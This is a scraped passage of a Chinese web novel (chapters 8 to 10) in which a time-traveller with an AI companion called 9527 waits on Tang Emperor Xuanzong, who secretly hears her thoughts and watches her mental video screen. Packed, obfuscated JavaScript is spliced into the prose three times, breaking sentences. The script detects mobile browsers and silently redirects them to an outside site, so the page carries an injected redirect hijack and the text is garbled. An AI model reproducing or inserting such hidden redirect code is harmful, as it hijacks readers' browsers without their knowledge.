他看着纸上的诗句,反复品味,竟一时沉浸其中,暂时忘却了朝堂的烦忧,嘴角甚至泛起一丝连自己都未曾察觉的复杂笑意。其中有忧,有惑,有对命运的茫然,却也有一丝……难以言喻的沉醉。 良久,所有的情绪都化为一声长长的叹息,消散在寂静的书房里。国之将倾,个人的诗文才情,又何足道哉?可偏偏,这诗句又似乎是未来某种存在的证明,牵动着他对自身命运、对大唐命运的无穷思绪。 这一夜,注定无眠。 —— 第二日天还没亮,萧青梧就被童二娘子唤醒。 “嗯…… 到点了?”她蠕动着翻了个身,将脸埋在枕头上闭着眼问,“什么时辰了?” 童二娘子已经穿好了衣服,去桌边点亮一盏油灯,豆大的火苗在漆黑的室内亮起,照明的效果只比没有强了一点点。 “约摸五更了。”她回了句,转头看着床上一动不动的人,温声劝道,“萧娘子,快起吧,高将军昨日有交代,让咱们早些过去,学些御前伺候的礼节呢。” 萧青梧挣扎着睁开眼,困顿的目光移到窗棂处,敏锐得察觉到室外不同于时辰的亮堂。 她伸手掀开一点窗子,天色漆黑,漫天飘雪,经过一夜,地上落了厚厚一层,光秃秃的树枝被装饰得颇有点后世节庆的氛围感。 “好大的雪啊。”冰凉的雪花落在脸上,萧青梧瞬间清醒许多。 她关上窗户,立刻起身穿好衣服,卫生问题三秒内一键清洁完毕,随后又拿出洗漱用具假装对付了一下。 两人出门时,天仍旧没亮,路上寒风凛冽,往来的宫人们穿着或单薄或厚实的袄子,手上各自捧着器具,安静地穿梭在走道上,尽可能不发出声响。 到了寝殿门口,殿门紧闭,门口除了值守的禁军 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睡眠不足就会犯困,劳累过头就会疲倦,酒精过量会导致机能紊乱。 萧青梧从空间钮里摸出一块巧克力,悄悄塞进嘴里,甜蜜熟悉的味道充盈着味蕾,驱散了些许睡意。 【主人,是否需要让我暂时为您代理身体权限?】 【不了吧,谁知道你顶着我的身体会干出什么。放首歌听听,干等着好无聊。】 【好的主人,您想听什么歌?】 【Fu*k You。】 【好的主人,马上为您播放《Fu*k You》。】 【……Fu*k you,Fu*k you very very much~】 在重复的f*ck you里,萧青梧心情好了不少,她忍着笑又往嘴里塞了块糖,接着给自己找乐子。 【换一首,你没有好结果。】 【好的主人,马上为您播放《你没有好结果》。】 听到一半,寝殿内传来瓷器摔碎的声音,瞬间将沉浸在欢愉中的萧青梧惊醒。 【9527,快看看怎么了?是不是李隆基踩到香蕉皮一头磕桌子上撞碎了茶壶被砸破了头摔了个狗吃屎?】 【抱歉主人,我没有装载透视扫描功能,暂时无法回答您这个问题。】 好吧,萧青梧心道可惜,不过她觉得屋子里的情况应该跟他想的八九不离十。 “滚进来伺候!”一声咆哮隔着厚重的殿门清晰地传出,萧青梧和童二娘子对视一眼,前者困惑,后者恐惧。 没事的,放心。萧青梧以唇语对童二娘子示意,在宫里生活这么久,她非常理解底层宫人们在面对上位者盛怒时的胆战心惊。但她也不是无的放矢,为了安慰童二娘子说大话,万一她俩倒霉撞枪口上,李隆基要打谁杀谁的话,无论怎么样,她会尽量保住童二娘子,自己去替代她的。 毕竟,大明宫和长安对她只是个难得一见的景区,欣赏不了美景固然可惜,但以后还可以再来,人死了就是真的死了。 8. 第 8 章 殿门打开,第一个映入眼帘的居然是高力士。 萧青梧看着衣冠整齐,丝毫看不出来早起疲态的高力士,缓缓地眨了眨眼。 【咦?你不是说,高力士是有品阶的重臣,不是普通的太监?那他怎么这么早就出现在李隆基的寝宫里?他没有自己的府邸吗?】 【没有错,主人,高力士除了身兼要职之外,他更是李隆基最信任的心腹近臣,他们的关系远超一般的主仆,两人之间的关系堪称形影不离,据史料记载,高力士常年居住在李隆基身旁,随时听候差遣。】 萧青梧心内腹诽着,面上恭敬地听候高力士对二人的安排。 “你们二人先过去伺候陛下撤膳、净手。”高力士语气平稳地吩咐道,“动作仔细些,莫要毛手毛脚,惊了圣驾。” 其实也没什么可收拾的,萧青梧过去一看,已经有其他宫人手脚麻利地收拾了桌面,并摆上了精美的茶具。 萧青梧突然就觉得,至少目前看到的来说,这个工作似乎还挺轻松的,除了需要长时间站着比较熬人。 不过对体力惊人的她来说,这完全不是个事。 童二娘子端着面盆,萧青梧捧着手巾,眼巴巴等着李隆基吃完了过来洗手。 虽然动作很规矩,但那双眼睛却一点也不安分,仗着室内烛火昏黄,正肆无忌惮地四处打量着。 【9527,我突然有个发现。你看,唐朝的宫殿在精致繁复程度上虽然比不上紫禁城,但在面积上比紫禁城的宫殿大得多,尤其是高度,紫禁城里很多宫殿就挺窄小的。】 【主人,您的发现没有错,这背后涉及到环境的变迁。在唐朝之前,关中地区植被茂密,树木巨多,唐朝之前的贵族们在建造宫殿时有丰富的木材资源可用。到了隋炀帝时期,由于大兴土木,加上历代的开采,关中地区的木材被砍伐了许多,尤其是用来建造巨大宫殿的巨木大幅减少,因此唐朝在修建宫殿的时候,往往还得从江南地区运送木材,因为关中已无木材可用。这种情况越往后便越严重,森林破坏越来越严重,巨木资源越来越少,宫殿的规模只能跟着缩减,根据后世专家复原的大明宫图来看,其规模的确比紫禁城要大许多。】 原来是这么回事,涨知识了,萧青梧听得暗暗点头。 边洗手边跟着听了一耳朵的李隆基,听两人说起前朝旧事,忍不住地在心里跟着骂了杨广几句。 滥用民力的无道昏君,在位不过十四年,折腾得天怒人怨,死伤无数,昔日太宗皇帝想修缮一下破败的宫室,找遍关中都找不到一根好的巨木,只能千里迢迢地从江南调运。 想到杨广的恶名,再想想这女人对自己那些评价,李隆基心内冷哼道,杨广如何能跟他比?即便未来的他会犯错误,但那不过是每一个帝王在年迈体弱时都会面临的无奈,他晚年再怎么昏聩,也不会像杨广那般,动辄征发百万民夫,视百姓如草芥。 如今有了心声的提醒,他就更不可能重蹈覆辙。 隋炀之恶不过百年,这女人不抨击杨广,反倒整日对他这个圣明天子横挑鼻子竖挑眼,不是失了心智就是瞎了狗眼。 李隆基取过布巾擦了手,泄愤一般又将布巾扔回萧青梧怀里,转身就朝着殿外走去。 ????又怎么了? 萧青梧迷茫地捧着布巾,莫名其妙地看着李隆基气冲冲离开的背影,询问的目光转向高力士。 “跟上伺候。”高力士边说边跟在李隆基身后往外走,“一会到了延英殿,我再同你们细说。” 两人快速收拾了手里的器具,跟在高力士等人的身后从寝宫离开,到了延英殿时,天际刚亮度一抹鱼肚白。 进了殿内,室内一片暖意融融,厚重的殿门一关,飘落的雪花被隔绝在室外,一门之隔,俨然是两个不同的季节。 宫人们早已点燃炭火与香炉,御案上备着茶水,休憩的卧榻上铺着保暖华贵的兽皮毛毯。 李隆基在宫人的服侍下除去披风兜帽,一盏热茶下肚,丝毫不耽搁地去御案那边批阅奏折,萧青梧和童二娘子便先站角落里,等着高力士伺候完李隆基再给她们安排活。 【啧,挺勤快的嘛,我得承认,我先前对他确实刻板印象了。不看晚年那一摊子,就我看到的来说,他其实算是个不错的皇帝。】 【这种印象其实是大多数人都会有的,会造成这一现象的原因,在于李隆基的功过都过于突出,他从顶峰坠落到深渊的过程又极具戏剧化,过错的责任归属也极其明确且个人化,因此,人们会自然而然地想,如果他能早死二十年,如果他能不那么昏庸,如果他能不……这种惋惜和愤怒的情绪强化了对他的过错的记忆,淡化了他的功绩,所以您会有这种刻板印象,实属正常。】 【我觉得还有个重要原因,文学上的渲染,影视剧一遍遍地拍那段历史,大众的记忆就这样被一遍遍强化和塑造,我说得对吧?】 【您说的这个问题正是关键之一,普罗大众不是历史学家,大众对历史人物的印象普遍来自于故事和文艺作品,而李隆基和杨贵妃的爱情故事是文学艺术中一座丰富的宝矿。】 【说到杨贵妃……好想看一眼她啊,六宫粉黛无颜色的四大美人之一,好想看看杨贵妃到底能有多美。9527,查一下杨贵妃这会多大了,人在哪了,离她进宫还有多少年?】 【好的主人,马上为您检索。杨贵妃于开元二十三年嫁于寿王李琩,开元二十五年被李隆基召入后宫,距离她入宫还有四年,此时年约十四岁。】 四年啊……萧青梧在心里算着,还行,挺快的。四年乍一听很久,不过时空穿越后两边世界的时间流速不一样,在这里四年,在后世也不过几个月,四年完全等得起。 她还有那么多人没有见,李白、杜甫、王维、杨玉环、高仙芝、哥舒翰…… 萧青梧第一百八十次暗暗感叹失策,穿越的时候没规划好,心里只想着皇宫里名人多,就一路贿赂进了宫,哪想进来之后,除了张九龄李林甫这两个如雷贯耳的,看得最多的就是脾气阴晴不定总是莫名发火的老皇帝。 完全不对她的胃口啊,再说看了两天也看腻了。 【你说,我有没有可能跟着李隆基去参加大朝会什么的,整天两点一线三点一线的,也太无聊了,或者去后宫转转也好啊。】 【理论上来说,任何朝会期间,宫女绝无可参与,在场服侍的只能是贴身伺候的宦官们,不过鉴于李隆基已破格将您提拔到了御前,往后的事倒也说不准。】 【嘿嘿,我也觉得,到时候要是能带上我,我就给所有官员录个视频,然后再录个特别宏大的上朝场面,拍个电影留着当纪念。】 萧青梧跟9527聊得太嗨,完全没注意殿内早就一片寂静,她在不关自己事的时候总是神经大条,缺乏对环境的敏感,而9527一个AI,还是专注于资料检索而非情感交流方面的AI,就更不可能拥有“空气安静得让人窒息”之类的抽象概念。 萧青梧继续站着发呆,心里盘算着接下来的行动。 【其实我没必要非得在宫里等四年啊,我完全可以出宫去看杨贵妃嘛,对不对,而且出了宫还更自由,想去见谁就见谁,或者不行我可以去给玉真公主当侍女啊,只要待在玉真公主身边,还怕见不到李白王维吗?】 【您这个计划完全可行,给玉真公主当侍女,肯定没有在宫里当差辛苦,时间上还自由许多,如果您想好了要离宫的话,我可以为您规划详细的方案。】 【不急,我再考虑考虑,继续待几个月再说,先看看后面是什么情况。】 正说着,高力士脚步轻缓地走到二人跟前,沉声说道:“从今日起,你们两人,一个在陛下身边伺候笔墨,另一人负责茶水,童娘子,往后你就在殿外候着,听候传唤。” 童二娘子弯下腰深深行礼道:“是,谨遵高将军吩咐。” 说完,她一路弓着腰小心翼翼地退出延英殿,直到殿门打开又关上,彻底阻隔了萧青梧的视线。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275884|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “萧娘子。”高力士又将目光放在眼前美若天仙的女子身上,“即刻起,你便跟在陛下身边贴身伺候,陛下要写字,你就研墨。陛下要阅览奏疏,你便在一旁掌灯,陛下若散步赏玩,你便随侍左右,听候差遣。务必眼明心亮,手脚勤谨。” 萧青梧呆呆应了声是,对高力士的安排,她有些没反应过来。 红袖添香加陪玩,这这这、这分明是看上她了啊!! 【9527,这可怎么办!李隆基接下来该不会要把我收进后宫吧??啊啊啊啊啊,我绝对不会陪老男人上床的!!】 【主人请别着急,事情还没到那一步,先静观其变即可,只要不违反时空穿越条例,本系统无条件优先保障您的人身安全及自身一切权益。】 “过来伺候笔墨!”李隆基怒喝一声,目光在女子身上挑剔刻薄地打量着,瞪视的双眼怒火翻涌,心中冷笑连连。 他必须承认,即便以他阅遍世间美人的眼光来看,此女的相貌也是世间罕有,是个难得一见的顶级美人,他最宠爱的武惠妃比之对方都多有不及。 但女人不是只靠一张脸,后宫中的妃子,哪个不是姿容秀美,静雅贤惠,温婉柔顺,女子该有的品德,她有哪样?! 想当他的妃子,倒是想得美,她还远远不够格! 李隆基看着对方木头似的杵在一旁,眼里没一点活的样子,更是气不打一处来,再次呵斥道:“还等什么?研墨!” 萧青梧抽了抽嘴角,拿起墨锭轻轻地画着圈来回研磨。 【立刻马上、明天就走!这里不能待了,这个神经病整天神经兮兮的,天天把气撒别人头上,谁受得了啊!】 【或许他的怒火来自于对您礼仪的挑剔,您如果不着急离开的话,可以适当学一些宫廷礼仪,这样李隆基便是气头上,也找不出您的错来了。】 【我学了啊,我从进了宫不是一直在学宫廷礼仪吗?是这个神经病不按套路走啊,本来学的是奉茶的礼仪,结果突然让我伺候笔墨,又不找人带一下我,直接就让我上岗,我天生是干这个的吗?这个高力士,哼,昨天说了让我早些过来学东西,来了又把我晾外面半天干等着,什么东西都没教,我一会要是不小心搞砸了,或者力道不对打翻砚台,高力士全责!】 【资料库内有关于如何研墨的相关视频,主人,是否需要为您播放?】 【哎呀,也不提醒我,快放一个,我跟着学一学。】 在9527的操作下,脑内电脑开始播放一段时长为5分钟左右的教学视频。 萧青梧一心二用,一边看着视频里的教程,手下一步一步地跟着仔细学。原来研墨还要加水,她就说刚刚怎么一直不出墨,也不知道李隆基和高力士有没有看到她拿着墨锭在那干磨了半天,出了大丑了啊! 她赶紧往砚台里加入少许清水,视线扫过李隆基时,发现对方的目光似乎停留在她身后什么东西上,脸上一副难掩震惊的表情。 萧青梧好奇地跟着转头去看,除了柱子墙壁帷幔,什么都没有啊,李隆基到底在看什么? 她莫名地看向高力士,发现对方的视线方向竟与李隆基一致,两人都是同样的表情,像是看到了什么不可思议的东西似的,震惊到失神无语的表情。 她再次回头看了眼自己身后,将那一处的陈设仔仔细细打量了一遍,依旧一无所获。 【9527,检查一下屋子里的磁场问题,总不会闹鬼了吧?】 【主人请放心,殿内一切正常,没有任何异常情况,世上也没有鬼怪,您无需担心。】 一切正常?萧青梧嘀咕着,转过头来时,二人脸上已经恢复了平静,高力士垂眉顺目地立在御案旁,李隆基提笔蘸了墨汁,在公文上缓缓写下批阅的小字。 比之此刻的平静,方才一瞬的短暂失态如同幻象般,在二人身上消失得无痕无迹。 萧青梧暗暗翻个白眼,好吧,神经病的思维不能按照常理来理解,她真的都习惯了。 9.第 9 章 五分钟的视频循环播放完毕,萧青梧手下那一盏墨勉强算是磨好了。 教程里说根据书写或作画的不同用途,墨的浓度也需要相应调整,萧青梧不知道自己弄的对不对,反正李隆基没发表任何不满,她觉得自己这项工作应该算是过关了。 忙完手头里的活,萧青梧便安静地站在一旁,一边百无聊赖地打量着四周陈设,一边分神留意御案那边准备着随时伺候。 殿内伺候的并不止有她一个,除去和皇帝形影不离的高力士,还有两名年轻些的宦官,他们如同嵌入墙壁的浮雕,沉默地立在角落阴影里,连呼吸的起伏都微不可察,存在感稀薄得几乎与空气融为一体。 【唉……好压抑啊,这也太安静了,再这么站下去我真的要睡着了。】 殿外朔风卷着大雪,殿内烛火哔剥,狻猊香炉青烟袅袅,银霜炭在盆中烧得正旺。 【这个白噪音简直是……不行了不行了,9527,你帮我盯着,我靠柱子上悄悄眯一会,一有动静立刻叫我。】 【主人,强烈不建议您这样做。人体在睡眠状态下会对肌肉失去精细控制,即便是浅层睡眠,您也有极高概率因失去平衡而摔倒,风险极大。】 萧青梧回想起上学时每次手肘拄着脸偷睡,结果总是一头砸桌子上的惨状,只得无奈地放弃了这个危险的念头。 【算了,不睡了,放首歌提提神吧,要劲爆欢快一点的舞曲,音量开到最大。】 李隆基正在书写的动作一顿,方才用膳的时候,他隔着重门已经领教过从此女方向传来的、腔调古怪的曲子,此刻再听她心中提起,心下便有了几分了然。 能被听见的心语、几乎全知却不见形体的下仆、眼前能凭空浮现的奇异影像、耳畔能清晰响起的陌生乐曲…… 除了这些,她身上究竟还藏着多少未曾显露的奇诡之处?还有,她方才提到舞曲,莫非是用于伴舞的异域音律? 这么想着,李隆基左手端起一旁的茶盏,徐徐呷了几口,随即舒展身体,闲适地向后靠去。身为一个艺术造诣极高的帝王,李隆基自信不论音律或是舞技,皆具备极高的鉴赏水平。 他倒要领教一番,这妖女所谓的舞曲究竟有何等惊人之处,是否能否与他大唐盛世之音一较高下? 骤然间,一道巨大的、从未听过的轰鸣之声骤然撞入耳膜。那声音如雷鸣炸响,似战鼓擂动,喧闹、激昂、节奏强劲,其间又混杂着许多他完全无法辨识的、激烈迅疾的乐器声响,毫无预兆地席卷了他的全部听觉。 惊得毫无防备的李隆基手腕一抖,蘸满浓墨的笔直直掉落在摊开的奏疏上,漆黑的墨迹迅速洇开,污染了整页工整的文字。 高力士虽勉强维持着镇定,但骤然收缩的瞳孔和瞬间绷紧的肩膀,依旧泄露了他受到的冲击。 半盏茶的功夫过去,那“魔音”终于戛然而止,二人只觉得仿佛过去了很久很久,久得竟有种恍如隔世的错觉。 【爽!这下清醒多了!】 两首歌过后,萧青梧在心底满足地叹了口气,感觉疲惫感被一扫而空,精神重新振作起来。 闲着也没事,她打算找个片子看看,一直干站着真的很无聊啊。 她在意识中拉出电脑操作界面,在库里来回翻看查找,准备看个有唐代背景的、稍微欢快轻松一点的,不要严肃的纪录片或科普向的长视频,大早上的觉都没睡醒,再看那些又得睡过去。 御案之后,李隆基盯着奏疏上那团刺目的污迹,脸色阴沉得能滴出水来。 高力士机敏地上前,动作轻巧而迅速地收拾起被污损的纸张,换上一份新的空白宣纸,并将掉落的那只笔擦拭干净,重新蘸饱墨汁,恭敬地放回皇帝手边。 整个过程无声无息,却极具专业素养,高效得惊人。 李隆基深吸一口气,强压下胸口翻涌的怒意。他再次提起笔,目光如冰锥般刺向站在不远处,此时精神焕发、再不复方才一脸半死不活的死鱼样,甚至有点兴致勃勃的萧青梧身上。 他能清晰地感觉到,自己太阳穴处的血管正在突突直跳。 他见不得这女人这么悠闲,正要张嘴给她找点事干,却被蓦然响起的心音打断。 【看个什么好呢……我找找。也不知道今天还开会不,不开的话,难道我要在这干杵一天吗?】 【理论上来说有人与您换班的,不过您的岗位特殊,又没有明确制度规定,工作时长全看高力士怎么安排。或许下午就能回去歇着,或许除了睡觉以外的全部时间都要在岗。】 【那我要不要去问问他呢……?算了算了,稍微过两天再说,刚上岗就提这个,我真的是嫌日子太舒服了。】 李隆基的眉头紧紧锁起,指尖无意识地摩挲着光滑的笔杆。 在他的视野中,萧青梧身后出现一块巨大的长方形光幕,显然是方才研墨时出现的那块,只是陈设的内容上有所不同。 那光幕泛着白光,上面排列着许多图片和文字,那些图上印着的人像栩栩如生,和真人毫无任何差别。 此刻,这些图形与文字正在光幕上划动着,一切都怪异至极。 【贞观之治?太严肃了不想看,盛世长安?额……这演员不行啊,小鲜肉贴上胡子就能演唐明皇了吗,光看脸就知道演技很差,强捧遭天谴啊!唐玄宗与杨贵妃?这个还挺应景……嗯??6.2分?百分百烂片,不看!算了,还是再刷一遍神探狄仁杰吧。】 贞观之治?他自然再熟悉不过,那是太宗皇帝开创的煌煌盛世,是所有李唐帝王心之所向的标杆。可这女人语气轻佻随意,竟敢说“太严肃了不想看”?无礼!荒谬! 唐明皇?明皇是庙号?还是凭空杜撰出来的私称?这又是谁的称谓? 至于那唐玄宗与杨贵妃……李隆基面色难看,被骂了这么多天,他早已明白,前者是他自己,后者是未来还没有抢的儿媳妇。 而最令他与高力士同时屏息的,是那个名字——狄仁杰。 为何突然提及武周时期的宰相?难道她接下来要说的,会与这位备受祖母宠爱的臣子有关?两人交换了一个极其凝重且困惑的眼神。 一个大名鼎鼎的传奇臣子,死去三十多年,其名突然在此情此景下被以这种方式提及,依旧充满了难以言喻的诡异感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298882|182410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,那巨大的、带着奇异韵律的乐声再次响起,比之前的舞曲更显庄严柔和,瞬间攫住了二人的心神。 伴着清亮的歌声,一幕幕他们完全无法理解的、超越了想象的画面快速闪动着,那幕布上的画面色彩鲜明,清晰无比,人物活动自如,却又绝非真人,仿佛将活人生生封入了一面流动的琉璃水镜之中。 只见画面上出现了一座巍峨的城池,似是长安,却又不是长安。它远比长安恢弘壮丽得多,画面上出现的市井气象也比长安繁荣太多太多。 最初的刹那,帝王的警惕心攀升至顶点。 李隆基脊背瞬间绷直,伏于案上的手指紧紧握着边缘。尤其当幕布上数名黑衣刺客举刀刺来的时候,他几乎是本能地想要厉声呵斥“护驾”,身体不受控制地歪了一下试图躲避袭来的刀刃。 高力士的反应更为直接,他老迈的身躯猛地一震,几乎是闪电般地上前半步,并非冲向光幕,而是以一种守护的姿态,微妙地调整了位置,全身肌肉都紧绷着,既能护住皇帝侧前方,又能死死盯住那匪夷所思的景象。 等了片刻,发现那光幕中的景象并未展现出任何攻击性,它只是自顾自地上演着,主仆二人这才深深吐出一口气,卸下部分防备。 【说来也奇怪,我以前觉得这剧特别良心呢,但现在再翻出来看,突然就有点沉浸不进去了。】 【是因为察觉到了真实历史与剧中呈现出的景象之间存在差异吗?】 【嗯……算是吧,就比如这街道,剧里的长安,感觉家家户户都要奔小康了,服化道和建筑虽然很用心地做旧了,但跟真实的长安还是远远不能比啊。其实哪怕是开元盛世,长安街上都一堆缺胳膊少腿的乞丐呢,房子也远没有剧里那么好,街上的牛粪马粪污水垃圾什么的更别提了。】 【文艺创作常需提炼与美化,适度的修饰能引人向往,激发探究之心,而过分写实,有时反而只会徒增观者的不适。事实上,科技越发达,影视创作反而越难真正还原历史场景,毕竟,如今已很难再找来成千上百个真正面黄肌瘦、困顿潦倒的群众演员,去再现一个真实的封建社会了。】 李隆基心中既感费解,又深受震撼。 他隐约触摸到了某种真相的边缘,那猜测令他心悸,却又隐隐生出一丝难以言喻的、仿佛窥见天机般的悸动。 他脑中飞速运转,眉头始终紧锁,身体却不动声色地前倾,纷乱的思绪不受控制地被光幕上的画面再次吸引了过去。 被杀的突厥使团、假突厥进京、太极殿中庆贺的满朝文武、则天皇后赐婚、郡主被杀……故事的节奏紧凑至极。 尽管那个他曾经无比熟悉又忌惮的人,顶着一张与记忆中截然不同的面容。尽管太极殿中的文武百官显得唯唯诺诺,气质猥琐,全无朝廷重臣应有的气度,但这些,竟并未阻碍李隆基逐渐理解这个光怪陆离的故事。 这种前所未有的讲述方式,以一种强横的姿态,碾压了他固有的认知。 他渐渐明悟了这光影戏文的本质,虽仍恼怒于后人竟敢如此胡乱编排皇家旧事,可眼下……他也只能按下心头那缕不快,继续看下去。 10.第 10 章 看完两集,萧青梧意兴阑珊地按下了暂停,退出了播放界面。 【不想看剧啊……花这么多钱穿越,宝贵的时间就是用来蹲在宫殿角落里刷剧的吗?想看剧回家再看不行么,非得在这浪费时间浪费金钱。】 李隆基和高力士只觉得心头一空,一股难以言喻的焦躁和憋闷猛地窜了上来。 这说的是什么混账话!你不想看,朕/老奴还想看啊! 赶快把那神奇的光幕重新打开,继续放啊!假千牛卫追杀狄仁杰和李元芳,后来呢?后来究竟如何了?! 【要不要看个科普类的纪录片或者历史知识讲座呢?】 9527这个提议,让萧青梧提起了些兴致,她退出影视剧界面,打开了标注着“纪录片”与“历史专栏”的区域,熟练地将筛选条件设置为“唐朝”。 【我看看……最爱看的当然是李白和杜甫的专题,不过这两个已经看过了,跳过,以后见到真人了可以再刷一遍。《唐玄宗秘史》?人就在我跟前害看什么传记。《开元天宝风云录》?这个太干货了啃不下来,不如直接问你。《大唐兴亡三百年》?看看这个……等等,12个小时?!也太长了,下次再说下次再说。《安史之乱全面解读》?唔……这个标记一下,过阵子再看,等我在这个时代多认识几个人,有了实感,理解起来肯定更深刻。】 她每轻飘飘地闪过一个标题,李隆基的心弦便被猛地拨动一下。 什么狄仁杰、李元芳早已被他抛诸脑后,他的全部心神,已被那女人心中一个接一个、如同惊雷般炸响的名词死死攥住。 他的生平传记、开元天宝的秘辛、大唐三百年的国运兴衰、还有那……那如同梦魇般的安史之乱! 每一个词都像一把重锤,敲得他心惊肉跳,气血翻涌。 一股几乎无法抑制的冲动在他胸腔里撞击,恨不能就此钻入萧青梧的脑子里,将所有关于他、关于大唐命运的一切,巨细靡遗、彻彻底底地翻阅个够! 【《唐朝最后的贤相张九龄》?嗯…这个可以,标记一下。等以后跟张九龄稍微熟悉一点,正好可以对照看看,和纪录片里有没有出入。】 【《盛唐奸相李林甫》……哎等等,9527,】萧青梧思绪一转,【我们到现在是不是还没见过李林甫本人?】 【主人,关于这一点我无法给您确切的答案。历史人物并不会在头顶显示姓名,除非当时有人直接称呼其名,或者以“姓氏+官职”的方式明确介绍,否则即使我们曾与他迎面相遇,也无法确认其身份。不过根据史料,开元二十一年间,李林甫虽尚未登上宰相之位,却已进入权力核心阶层。从概率上讲,您前两次在延英殿内侍奉时,他很可能就在场,您应当已经见过他了。】 萧青梧回忆起前两次殿内的官员,同时调出系统拍摄的照片和录像,试图从在场众臣中找出哪个是李林甫。 李隆基高力士张九龄,这三个是目前明确已知的,再加一个不在场的陈玄礼。至于其他人,穿着几乎同款,只在配饰和衣料新旧程度上稍有区别的官袍,光看长相和衣着,根本分辨不出谁是谁。 【对不上就算了,标记一下以后再看。《安禄山收养八千义子背后的政治考量》?八千个?真的假的?比起政治意义,我更想知道安禄山要怎么称呼他这八千个儿子?是直接叫名字,还是老大老二一直到老八千?要不就统一的,我的儿啊——!哈哈哈!】 她一边胡思乱想,一边忍不住噗地一声笑出来,赶紧抿住嘴垂下头盯着地板,生怕被殿内其他人察觉异样。 【《解析唐代科举制度》?太干了没意思,跳过。《唐代世家消亡史》,不感兴趣,怎么消亡都可以,跳过跳过……话说怎么全是这种硬核知识讲座,就没有个比较有意思的吗?《从壁画上看唐代女性的妆容与审美》?这个好这个有意思,就看这个了!】 一直屏息凝神眼睛一错不错盯着光幕的李隆基,只觉得胸口那口气猛地一滞。先是被吊得极高,从王朝命运到权相秘闻,他绷紧了神经准备迎接又一轮冲击,却万万没想到,她挑三拣四、嫌七嫌八,最后竟选了个……女子妆容?! 大唐国运,她不看。制度兴革,她不理。帝王将相的传记评析,她不屑一顾。这个也不看,那个也没兴趣,折腾了半天,最终竟定在一个“唐代女子怎么化妆”上! 李隆基只觉得一股郁气直冲头顶,憋得他太阳穴突突直跳,几乎控制不住想抓起手边的砚台,直接泼她一身墨! 眼看皇帝脸色越来越难看,高力士心道不妙。他侍奉圣人多年,最是清楚这已是雷霆将至的前兆,再让这萧娘子待下去,只怕下一刻御案上笔墨纸砚就要砸过去了! 他当即上前几步,抢在李隆基发作之前,声音不高却足够清晰地说道:“萧娘子,你先退下,去廊房用了朝食再回来伺候。” 萧青梧正在观察唐代女性是怎么画眉的,闻言一愣,下意识地抬头看向御案后的皇帝。 只见对方面沉如水,嘴唇抿成一条锋利的直线,周身气压低得吓人,却并未出声反对高力士的安排。 她再看了眼脑内电脑的时间,接近上午9点。 【饭点了?好好好,我还以为狗皇帝白天不给饭,晚上回去才能吃上呢,老头虽然阴晴不定,但高将军人真不错啊!】 她如蒙大赦,赶紧躬身行礼,声音都轻快了几分:“是,奴遵命。” 高力士几不可察地松了口气,微一颔首,示意一旁侍立的小宦官:“带萧娘子去用朝食,再教导一下御前伺候的相关事宜。” 萧青梧跟着那小宦官出了门,厚重的殿门在她身后缓缓合上,凛冽的北风夹着雪花扑面而来。 殿内重归寂静,只余银霜炭燃烧的细微哔剥声。李隆基直到那身影彻底消失在门后,才猛地一拳砸在御案上,震得笔架上的紫毫都跳了几跳。 高力士见状,连忙挥手示意殿内伺候的宦官们都出去,有关萧青梧的事,知道的人越少越好。 “岂有此理!”他从牙缝里挤出这几个字,胸膛剧烈起伏,“国之兴亡,朝堂大事,在她眼中竟还不如……还不如女子画眉涂脂来得要紧!坐拥宝山而不自知,暴殄天物!” 高力士垂首躬身,默默上前,将震歪的笔架扶正,声音柔和平缓地安抚道:“圣人息怒,此女言行无状,所思所想非常理所能度之。然其脑中光景,虽光怪陆离,却似……蕴藏着难以想象的机窍,或许那女子妆容之事,亦有其……独特价值?” 他这话说得自己都有些迟疑,但眼下最重要的是平息天子的怒火。 李隆基重重哼了一声,价值?他倒要看看,那劳什子的妆容与审美能有什么泼天的价值!是能帮他平定边患、充盈国库,还是能画出个国泰民安四海升平来?! 然而,尽管怒火中烧,理智还是占据了上风。 最后的贤相、大唐三百年、世家消亡……管中窥豹,以小见大,李隆基已然从这几个词上看到了某些更具体的未来。 大唐开国至今不过百年,若如那光幕上所说,张九龄是大唐最后一个贤相,岂不是说明,在余下的将近二百年时光中,都没出过如宋璟张说般贤能忠臣的宰相?? 这说明什么?说明朝堂被奸佞把持,说明帝王昏庸,说明他李隆基之后,李唐的子孙一代不如一代! 一股冰冷的寒意顺着脊椎悄然爬上,瞬间浇熄了他大半的怒火,只剩下一种沉甸甸的、令人窒息的惶恐和茫然。 “大唐三百年……”他喃喃自语,语气中并非纯粹的恐惧,反而夹杂着一丝复杂难言的意味。 诚然,自周以下,享国超过三百年的王朝屈指可数。若从高祖开国算起,三百年已不算短祚。 但他曾立志要做一个远超太宗、直追三代之治的帝王,他的目标是李唐江山永固,是建立一个前所未有的、持久而辉煌的盛世。 三百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 